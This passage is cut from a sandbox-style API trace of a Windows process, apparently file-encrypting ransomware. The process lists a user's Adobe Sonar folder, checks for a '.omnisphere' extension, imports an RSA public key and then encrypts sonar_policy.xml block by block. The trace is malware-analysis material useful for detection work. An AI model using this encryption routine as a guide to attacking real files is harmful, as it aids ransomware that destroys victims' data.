ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0081.189] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 1 [0081.189] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0081.189] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="Sonar1.0", cAlternateFileName="")) returned 0 [0081.189] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0081.189] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639768 [0081.189] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.189] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0081.189] GetProcessHeap () returned 0x1600000 [0081.189] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x78) returned 0x1640080 [0081.189] PathCombineW (in: pszDest=0x1640080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", pszFile="Sonar1.0" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0" [0081.189] GetProcessHeap () returned 0x1600000 [0081.189] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x16683d8 [0081.190] PathCombineW (in: pszDest=0x16683d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*" [0081.190] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd9, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0081.190] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd9, cFileName="..", cAlternateFileName="")) returned 1 [0081.190] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0xd9, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0081.190] GetProcessHeap () returned 0x1600000 [0081.190] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x165e100 [0081.190] PathCombineW (in: pszDest=0x165e100, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", pszFile="sonar_policy.xml" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" [0081.190] StrStrW (lpFirst=".omnisphere", lpSrch=".xml") returned 0x0 [0081.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\sonar_policy.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\sonar_policy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0081.192] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=18761) returned 1 [0081.192] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x4425, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0081.192] ReadFile (in: hFile=0x3a4, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.206] GetTickCount () returned 0x1154821 [0081.207] GetTickCount () returned 0x1154821 [0081.207] GetTickCount () returned 0x1154821 [0081.207] GetTickCount () returned 0x1154821 [0081.207] GetTickCount () returned 0x1154821 [0081.207] GetTickCount () returned 0x1154821 [0081.207] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0081.207] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396e8) returned 1 [0081.207] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0081.208] CryptDestroyKey (hKey=0x16396e8) returned 1 [0081.208] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0081.208] CreateFileMappingW (hFile=0x3a4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4949, lpName=0x0) returned 0x3a8 [0081.208] MapViewOfFile (hFileMappingObject=0x3a8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4949) returned 0x3430000 [0081.351] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0081.352] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0081.352] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0081.352] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0081.352] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.353] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.354] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0081.355] CryptEncrypt (in: hKey=0x1639568, 